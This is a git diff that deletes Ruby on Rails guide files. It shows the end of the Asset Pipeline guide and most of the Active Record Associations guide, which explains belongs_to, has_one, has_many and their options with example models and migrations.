do_something_returning_a_string(string) - end -end -``` - -To enable this, pass a new object to the config option in `application.rb`: - -```ruby -config.assets.css_compressor = Transformer.new -``` - - -### Changing the _assets_ Path - -The public path that Sprockets uses by default is `/assets`. - -This can be changed to something else: - -```ruby -config.assets.prefix = "/some_other_path" -``` - -This is a handy option if you are updating an older project that didn't use the -asset pipeline and already uses this path or you wish to use this path for -a new resource. - -### X-Sendfile Headers - -The X-Sendfile header is a directive to the web server to ignore the response -from the application, and instead serve a specified file from disk. This option -is off by default, but can be enabled if your server supports it. When enabled, -this passes responsibility for serving the file to the web server, which is -faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file) -on how to use this feature. - -Apache and NGINX support this option, which can be enabled in -`config/environments/production.rb`: - -```ruby -# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache -# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX -``` - -WARNING: If you are upgrading an existing application and intend to use this -option, take care to paste this configuration option only into `production.rb` -and any other environments you define with production behavior (not -`application.rb`). - -TIP: For further details have a look at the docs of your production web server: -- [Apache](https://tn123.org/mod_xsendfile/) -- [NGINX](http://wiki.nginx.org/XSendfile) - -Assets Cache Store ------------------- - -By default, Sprockets caches assets in `tmp/cache/assets` in development -and production environments. This can be changed as follows: - -```ruby -config.assets.configure do |env| - env.cache = ActiveSupport::Cache.lookup_store(:memory_store, - { size: 32.megabytes }) -end -``` - -To disable the assets cache store: - -```ruby -config.assets.configure do |env| - env.cache = ActiveSupport::Cache.lookup_store(:null_store) -end -``` - -Adding Assets to Your Gems --------------------------- - -Assets can also come from external sources in the form of gems. - -A good example of this is the `jquery-rails` gem which comes with Rails as the -standard JavaScript library gem. This gem contains an engine class which -inherits from `Rails::Engine`. By doing this, Rails is informed that the -directory for this gem may contain assets and the `app/assets`, `lib/assets` and -`vendor/assets` directories of this engine are added to the search path of -Sprockets. - -Making Your Library or Gem a Pre-Processor ------------------------------------------- - -Sprockets uses Processors, Transformers, Compressors, and Exporters to extend -Sprockets functionality. Have a look at -[Extending Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md) -to learn more. Here we registered a preprocessor to add a comment to the end -of text/css (.css) files. - -```ruby -module AddComment - def self.call(input) - { data: input[:data] + "/* Hello From my sprockets extension */" } - end -end -``` - -Now that you have a module that modifies the input data, it's time to register -it as a preprocessor for your mime type. - -```ruby -Sprockets.register_preprocessor 'text/css', AddComment -``` - -Upgrading from Old Versions of Rails ------------------------------------- - -There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is -moving the files from `public/` to the new locations. See [Asset -Organization](#asset-organization) above for guidance on the correct locations -for different file types. - -Next will be avoiding duplicate JavaScript files. Since jQuery is the default -JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` -into `app/assets` and it will be included automatically. - -The third is updating the various environment files with the correct default -options. - -In `application.rb`: - -```ruby -# Version of your assets, change this if you want to expire all your assets -config.assets.version = '1.0' - -# Change the path that assets are served from config.assets.prefix = "/assets" -``` - -In `development.rb`: - -```ruby -# Expands the lines which load the assets -config.assets.debug = true -``` - -And in `production.rb`: - -```ruby -# Choose the compressors to use (if any) -config.assets.js_compressor = :uglifier -# config.assets.css_compressor = :yui - -# Don't fallback to assets pipeline if a precompiled asset is missed -config.assets.compile = false - -# Generate digests for assets URLs. -config.assets.digest = true - -# Precompile additional assets (application.js, application.css, and all -# non-JS/CSS are already added) -# config.assets.precompile += %w( admin.js admin.css ) -``` - -Rails 4 and above no longer set default config values for Sprockets in `test.rb`, so -`test.rb` now requires Sprockets configuration. The old defaults in the test -environment are: `config.assets.compile = true`, `config.assets.compress = false`, -`config.assets.debug = false` and `config.assets.digest = false`. - -The following should also be added to your `Gemfile`: - -```ruby -gem 'sass-rails', "~> 3.2.3" -gem 'coffee-rails', "~> 3.2.1" -gem 'uglifier' -``` diff --git a/source/association_basics.md b/source/association_basics.md deleted file mode 100644 index 5794bfa..0000000 --- a/source/association_basics.md +++ /dev/null @@ -1,2444 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Associations -========================== - -This guide covers the association features of Active Record. - -After reading this guide, you will know: - -* How to declare associations between Active Record models. -* How to understand the various types of Active Record associations. -* How to use the methods added to your models by creating associations. - --------------------------------------------------------------------------------- - -Why Associations? ------------------ - -In Rails, an _association_ is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this: - -```ruby -class Author < ApplicationRecord -end - -class Book < ApplicationRecord -end -``` - -Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this: - -```ruby -@book = Book.create(published_at: Time.now, author_id: @author.id) -``` - -Or consider deleting an author, and ensuring that all of its books get deleted as well: - -```ruby -@books = Book.where(author_id: @author.id) -@books.each do |book| - book.destroy -end -@author.destroy -``` - -With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books: - -```ruby -class Author < ApplicationRecord - has_many :books, dependent: :destroy -end - -class Book < ApplicationRecord - belongs_to :author -end -``` - -With this change, creating a new book for a particular author is easier: - -```ruby -@book = @author.books.create(published_at: Time.now) -``` - -Deleting an author and all of its books is *much* easier: - -```ruby -@author.destroy -``` - -To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. - -The Types of Associations -------------------------- - -Rails supports six types of associations: - -* `belongs_to` -* `has_one` -* `has_many` -* `has_many :through` -* `has_one :through` -* `has_and_belongs_to_many` - -Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain [Primary Key](https://en.wikipedia.org/wiki/Unique_key)-[Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) information between instances of the two models, and you also get a number of utility methods added to your model. - -In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. - -### The `belongs_to` Association - -A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way: - -```ruby -class Book < ApplicationRecord - belongs_to :author -end -``` - -![belongs_to Association Diagram](images/belongs_to.png) - -NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. - -The corresponding migration might look like this: - -```ruby -class CreateBooks < ActiveRecord::Migration[5.0] - def change - create_table :authors do |t| - t.string :name - t.timestamps - end - - create_table :books do |t| - t.belongs_to :author, index: true - t.datetime :published_at - t.timestamps - end - end -end -``` - -### The `has_one` Association - -A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: - -```ruby -class Supplier < ApplicationRecord - has_one :account -end -``` - -![has_one Association Diagram](images/has_one.png) - -The corresponding migration might look like this: - -```ruby -class CreateSuppliers < ActiveRecord::Migration[5.0] - def change - create_table :suppliers do |t| - t.string :name - t.timestamps - end - - create_table :accounts do |t| - t.belongs_to :supplier, index: true - t.string :account_number - t.timestamps - end - end -end -``` - -Depending on the use case, you might also need to create a unique index and/or -a foreign key constraint on the supplier column for the accounts table. In this -case, the column definition might look like this: - -```ruby -create_table :accounts do |t| - t.belongs_to :supplier, index: { unique: true }, foreign_key: true - # ... -end -``` - -### The `has_many` Association - -A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this: - -```ruby -class Author < ApplicationRecord - has_many :books -end -``` - -NOTE: The name of the other model is pluralized when declaring a `has_many` association. - -![has_many Association Diagram](images/has_many.png) - -The corresponding migration might look like this: - -```ruby -class CreateAuthors < ActiveRecord::Migration[5.0] - def change - create_table :authors do |t| - t.string :name - t.timestamps - end - - create_table :books do |t| - t.belongs_to :author, index: true - t.datetime :published_at - t.timestamps - end - end -end -``` - -### The `has_many :through` Association - -A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: - -```ruby -class Physician < ApplicationRecord - has_many :appointments - has_many :patients, through: :appointments -end - -class Appointment < ApplicationRecord - belongs_to :physician - belongs_to :patient -end - -class Patient < ApplicationRecord - has_many :appointments - has_many :physicians, through: :appointments -end -``` - -![has_many :through Association Diagram](images/has_many_through.png) - -The corresponding migration might look like this: - -```ruby -class CreateAppointments < ActiveRecord::Migration[5.0] - def change - create_table :physicians do |t| - t.string :name - t.timestamps - end - - create_table :patients do |t| - t.string :name - t.timestamps - end - - create_table :appointments do |t| - t.belongs_to :physician, index: true - t.belongs_to :patient, index: true - t.datetime :appointment_date - t.timestamps - end - end -end -``` - -The collection of join models can be managed via the [`has_many` association methods](#has-many-association-reference). -For example, if you assign: - -```ruby -physician.patients = patients -``` - -Then new join models are automatically created for the newly associated objects. -If some that existed previously are now missing, then their join rows are automatically deleted. - -WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered. - -The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: - -```ruby -class Document < ApplicationRecord - has_many :sections - has_many :paragraphs, through: :sections -end - -class Section < ApplicationRecord - belongs_to :document - has_many :paragraphs -end - -class Paragraph < ApplicationRecord - belongs_to :section -end -``` - -With `through: :sections` specified, Rails will now understand: - -```ruby -@document.paragraphs -``` - -### The `has_one :through` Association - -A `has_one :through` association sets up a one-to-one connection with another model. This association indicates -that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. -For example, if each supplier has one account, and each account is associated with one account history, then the -supplier model could look like this: - -```ruby -class Supplier < ApplicationRecord - has_one :account - has_one :account_history, through: :account -end - -class Account < ApplicationRecord - belongs_to :supplier - has_one :account_history -end - -class AccountHistory < ApplicationRecord - belongs_to :account -end -``` - -![has_one :through Association Diagram](images/has_one_through.png) - -The corresponding migration might look like this: - -```ruby -class CreateAccountHistories < ActiveRecord::Migration[5.0] - def change - create_table :suppliers do |t| - t.string :name - t.timestamps - end - - create_table :accounts do |t| - t.belongs_to :supplier, index: true - t.string :account_number - t.timestamps - end - - create_table :account_histories do |t| - t.belongs_to :account, index: true - t.integer :credit_rating - t.timestamps - end - end -end -``` - -### The `has_and_belongs_to_many` Association - -A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: - -```ruby -class Assembly < ApplicationRecord - has_and_belongs_to_many :parts -end - -class Part < ApplicationRecord - has_and_belongs_to_many :assemblies -end -``` - -![has_and_belongs_to_many Association Diagram](images/habtm.png) - -The corresponding migration might look like this: - -```ruby -class CreateAssembliesAndParts < ActiveRecord::Migration[5.0] - def change - create_table :assemblies do |t| - t.string :name - t.timestamps - end - - create_table :parts do |t| - t.string :part_number - t.timestamps - end - - create_table :assemblies_parts, id: false do |t| - t.belongs_to :assembly, index: true - t.belongs_to :part, index: true - end - end -end -``` - -### Choosing Between `belongs_to` and `has_one` - -If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which? - -The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: - -```ruby -class Supplier < ApplicationRecord - has_one :account -end - -class Account < ApplicationRecord - belongs_to :supplier -end -``` - -The corresponding migration might look like this: - -```ruby -class CreateSuppliers < ActiveRecord::Migration[5.0] - def change - create_table :suppliers do |t| - t.string :name - t.timestamps - end - - create_table :accounts do |t| - t.integer :supplier_id - t.string :account_number - t.timestamps - end - - add_index :accounts, :supplier_id - end -end -``` - -NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead. - -### Choosing Between `has_many :through` and `has_and_belongs_to_many` - -Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly: - -```ruby -class Assembly < ApplicationRecord - has_and_belongs_to_many :parts -end - -class Part < ApplicationRecord - has_and_belongs_to_many :assemblies -end -``` - -The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model: - -```ruby -class Assembly < ApplicationRecord - has_many :manifests - has_many :parts, through: :manifests -end - -class Manifest < ApplicationRecord - belongs_to :assembly - belongs_to :part -end - -class Part < ApplicationRecord - has_many :manifests - has_many :assemblies, through: :manifests -end -``` - -The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database). - -You should use `has_many :through` if you need validations, callbacks or extra attributes on the join model. - -### Polymorphic Associations - -A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: - -```ruby -class Picture < ApplicationRecord - belongs_to :imageable, polymorphic: true -end - -class Employee < ApplicationRecord - has_many :pictures, as: :imageable -end - -class Product < ApplicationRecord - has_many :pictures, as: :imageable -end -``` - -You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`. - -Similarly, you can retrieve `@product.pictures`. - -If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: - -```ruby -class CreatePictures < ActiveRecord::Migration[5.0] - def change - create_table :pictures do |t| - t.string :name - t.integer :imageable_id - t.string :imageable_type - t.timestamps - end - - add_index :pictures, [:imageable_type, :imageable_id] - end -end -``` - -This migration can be simplified by using the `t.references` form: - -```ruby -class CreatePictures < ActiveRecord::Migration[5.0] - def change - create_table :pictures do |t| - t.string :name - t.references :imageable, polymorphic: true, index: true - t.timestamps - end - end -end -``` - -![Polymorphic Association Diagram](images/polymorphic.png) - -### Self Joins - -In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: - -```ruby -class Employee < ApplicationRecord - has_many :subordinates, class_name: "Employee", - foreign_key: "manager_id" - - belongs_to :manager, class_name: "Employee" -end -``` - -With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`. - -In your migrations/schema, you will add a references column to the model itself. - -```ruby -class CreateEmployees < ActiveRecord::Migration[5.0] - def change - create_table :employees do |t| - t.references :manager, index: true - t.timestamps - end - end -end -``` - -Tips, Tricks, and Warnings --------------------------- - -Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: - -* Controlling caching -* Avoiding name collisions -* Updating the schema -* Controlling association scope -* Bi-directional associations - -### Controlling Caching - -All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: - -```ruby -author.books # retrieves books from the database -author.books.size # uses the cached copy of books -author.books.empty? # uses the cached copy of books -``` - -But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call `reload` on the association: - -```ruby -author.books # retrieves books from the database -author.books.size # uses the cached copy of books -author.books.reload.empty? # discards the cached copy of books - # and goes back to the database -``` - -### Avoiding Name Collisions - -You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations. - -### Updating the Schema - -Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table. - -#### Creating Foreign Keys for `belongs_to` Associations - -When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model: - -```ruby -class Book < ApplicationRecord - belongs_to :author -end -``` - -This declaration needs to be backed up by the proper foreign key declaration on the books table: - -```ruby -class CreateBooks < ActiveRecord::Migration[5.0] - def change - create_table :books do |t| - t.datetime :published_at - t.string :book_number - t.integer :author_id - end - end -end -``` - -If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key. - -It's a good practice to add an index on the foreign key to improve queries -performance and a foreign key constraint to ensure referential data integrity: - -```ruby -class CreateBooks < ActiveRecord::Migration[5.0] - def change - create_table :books do |t| - t.datetime :published_at - t.string :book_number - t.integer :author_id - end - - add_index :books, :author_id - add_foreign_key :books, :authors - end -end -``` - -#### Creating Join Tables for `has_and_belongs_to_many` Associations - -If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering. - -WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). - -Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: - -```ruby -class Assembly < ApplicationRecord - has_and_belongs_to_many :parts -end - -class Part < ApplicationRecord - has_and_belongs_to_many :assemblies -end -``` - -These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key: - -```ruby -class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] - def change - create_table :assemblies_parts, id: false do |t| - t.integer :assembly_id - t.integer :part_id - end - - add_index :assemblies_parts, :assembly_id - add_index :assemblies_parts, :part_id - end -end -``` - -We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit. - -You can also use the method `create_join_table` - -```ruby -class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] - def change - create_join_table :assemblies, :parts do |t| - t.index :assembly_id - t.index :part_id - end - end -end -``` - -### Controlling Association Scope - -By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: - -```ruby -module MyApplication - module Business - class Supplier < ApplicationRecord - has_one :account - end - - class Account < ApplicationRecord - belongs_to :supplier - end - end -end -``` - -This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes: - -```ruby -module MyApplication - module Business - class Supplier < ApplicationRecord - has_one :account - end - end - - module Billing - class Account < ApplicationRecord - belongs_to :supplier - end - end -end -``` - -To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration: - -```ruby -module MyApplication - module Business - class Supplier < ApplicationRecord - has_one :account, - class_name: "MyApplication::Billing::Account" - end - end - - module Billing - class Account < ApplicationRecord - belongs_to :supplier, - class_name: "MyApplication::Business::Supplier" - end - end -end -``` - -### Bi-directional Associations - -It's normal for associations to work in two directions, requiring declaration on two different models: - -```ruby -class Author < ApplicationRecord - has_many :books -end - -class Book < ApplicationRecord - belongs_to :author -end -``` - -Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. In this way, Active Record will only load one copy of the `Author` object, making your application more efficient and preventing inconsistent data: - -```ruby -a = Author.first -b = a.books.first -a.first_name == b.author.first_name # => true -a.first_name = 'David' -a.first_name == b.author.first_name # => true -``` - -Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain any of the following options: - -* `:conditions` -* `:through` -* `:polymorphic` -* `:class_name` -* `:foreign_key` - -For example, consider the following model declarations: - -```ruby -class Author < ApplicationRecord - has_many :books -end - -class Book < ApplicationRecord - belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' -end -``` - -Active Record will no longer automatically recognize the bi-directional association: - -```ruby -a = Author.first -b = a.books.first -a.first_name == b.writer.first_name # => true -a.first_name = 'David' -a.first_name == b.writer.first_name # => false -``` - -Active Record provides the `:inverse_of` option so you can explicitly declare bi-directional associations: - -```ruby -class Author < ApplicationRecord - has_many :books, inverse_of: 'writer' -end - -class Book < ApplicationRecord - belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' -end -``` - -By including the `:inverse_of` option in the `has_many` association declaration, Active Record will now recognize the bi-directional association: - -```ruby -a = Author.first -b = a.books.first -a.first_name == b.writer.first_name # => true -a.first_name = 'David' -a.first_name == b.writer.first_name # => true -``` - -There are a few limitations to `:inverse_of` support: - -* They do not work with `:through` associations. -* They do not work with `:polymorphic` associations. -* They do not work with `:as` associations. - -Detailed Association Reference ------------------------------- - -The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. - -### `belongs_to` Association Reference - -The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead. - -#### Methods Added by `belongs_to` - -When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: - -* `association` -* `association=(associate)` -* `build_association(attributes = {})` -* `create_association(attributes = {})` -* `create_association!(attributes = {})` - -In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: - -```ruby -class Book < ApplicationRecord - belongs_to :author -end -``` - -Each instance of the `Book` model will have these methods: - -```ruby -author -author= -build_author -create_author -create_author! -``` - -NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. - -##### `association` - -The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. - -```ruby -@author = @book.author -``` - -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object. - -```ruby -@author = @book.reload.author -``` - -##### `association=(associate)` - -The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value. - -```ruby -@book.author = @author -``` - -##### `build_association(attributes = {})` - -The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. - -```ruby -@author = @book.build_author(author_number: 123, - author_name: "John Doe") -``` - -##### `create_association(attributes = {})` - -The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -```ruby -@author = @book.create_author(author_number: 123, - author_name: "John Doe") -``` - -##### `create_association!(attributes = {})` - -Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. - - -#### Options for `belongs_to` - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options: - -```ruby -class Book < ApplicationRecord - belongs_to :author, dependent: :destroy, - counter_cache: true -end -``` - -The `belongs_to` association supports these options: - -* `:autosave` -* `:class_name` -* `:counter_cache` -* `:dependent` -* `:foreign_key` -* `:primary_key` -* `:inverse_of` -* `:polymorphic` -* `:touch` -* `:validate` -* `:optional` - -##### `:autosave` - -If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -##### `:class_name` - -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way: - -```ruby -class Book < ApplicationRecord - belongs_to :author, class_name: "Patron" -end -``` - -##### `:counter_cache` - -The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models: - -```ruby -class Book < ApplicationRecord - belongs_to :author -end -class Author < ApplicationRecord - has_many :books -end -``` - -With these declarations, asking for the value of `@author.books.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model: - -```ruby -class Book < ApplicationRecord - belongs_to :author, counter_cache: true -end -class Author < ApplicationRecord - has_many :books -end -``` - -With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method. - -Although the `:counter_cache` option is specified on the model that includes -the `belongs_to` declaration, the actual column must be added to the -_associated_ (`has_many`) model. In the case above, you would need to add a -column named `books_count` to the `Author` model. - -You can override the default column name by specifying a custom column name in -the `counter_cache` declaration instead of `true`. For example, to use -`count_of_books` instead of `books_count`: - -```ruby -class Book < ApplicationRecord - belongs_to :author, counter_cache: :count_of_books -end -class Author < ApplicationRecord - has_many :books -end -``` - -NOTE: You only need to specify the :counter_cache option on the `belongs_to` -side of the association. - -Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. - -##### `:dependent` -Controls what happens to associated objects when their owner is destroyed: - -* `:destroy` causes the associated objects to also be destroyed. -* `:delete_all` causes the associated objects to be deleted directly from the database (callbacks are not executed). -* `:nullify` causes the foreign keys to be set to `NULL` (callbacks are not executed). -* `:restrict_with_exception` causes an exception to be raised if there are associated records. -* `:restrict_with_error` causes an error to be added to the owner if there are associated objects. - -WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. - -##### `:foreign_key` - -By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: - -```ruby -class Book < ApplicationRecord - belongs_to :author, class_name: "Patron", - foreign_key: "patron_id" -end -``` - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -##### `:primary_key` - -By convention, Rails assumes that the `id` column is used to hold the primary key -of its tables. The `:primary_key` option allows you to specify a different column. - -For example, given we have a `users` table with `guid` as the primary key. If we want a separate `todos` table to hold the foreign key `user_id` in the `guid` column, then we can use `primary_key` to achieve this like so: - -```ruby -class User < ApplicationRecord - self.primary_key = 'guid' # primary key is guid and not id -end - -class Todo < ApplicationRecord - belongs_to :user, primary_key: 'guid' -end -``` - -When we execute `@user.todos.create` then the `@todo` record will have its -`user_id` value as the `guid` value of `@user`. - -##### `:inverse_of` - -The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options. - -```ruby -class Author < ApplicationRecord - has_many :books, inverse_of: :author -end - -class Book < ApplicationRecord - belongs_to :author, inverse_of: :books -end -``` - -##### `:polymorphic` - -Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide. - -##### `:touch` - -If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed: - -```ruby -class Book < ApplicationRecord - belongs_to :author, touch: true -end - -class Author < ApplicationRecord - has_many :books -end -``` - -In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update: - -```ruby -class Book < ApplicationRecord - belongs_to :author, touch: :books_updated_at -end -``` - -##### `:validate` - -If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. - -##### `:optional` - -If you set the `:optional` option to `true`, then the presence of the associated -object won't be validated. By default, this option is set to `false`. - -#### Scopes for `belongs_to` - -There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example: - -```ruby -class Book < ApplicationRecord - belongs_to :author, -> { where active: true }, - dependent: :destroy -end -``` - -You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: - -* `where` -* `includes` -* `readonly` -* `select` - -##### `where` - -The `where` method lets you specify the conditions that the associated object must meet. - -```ruby -class book < ApplicationRecord - belongs_to :author, -> { where active: true } -end -``` - -##### `includes` - -You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -```ruby -class LineItem < ApplicationRecord - belongs_to :book -end - -class Book < ApplicationRecord - belongs_to :author - has_many :line_items -end - -class Author < ApplicationRecord - has_many :books -end -``` - -If you frequently retrieve authors directly from line items (`@line_item.book.author`), then you can make your code somewhat more efficient by including authors in the association from line items to books: - -```ruby -class LineItem < ApplicationRecord - belongs_to :book, -> { includes :author } -end - -class Book < ApplicationRecord - belongs_to :author - has_many :line_items -end - -class Author < ApplicationRecord - has_many :books -end -``` - -NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed. - -##### `readonly` - -If you use `readonly`, then the associated object will be read-only when retrieved via the association. - -##### `select` - -The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. - -TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results. - -#### Do Any Associated Objects Exist? - -You can see if any associated objects exist by using the `association.nil?` method: - -```ruby -if @book.author.nil? - @msg = "No author found for this book" -end -``` - -#### When are Objects Saved? - -Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either. - -### `has_one` Association Reference - -The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead. - -#### Methods Added by `has_one` - -When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: - -* `association` -* 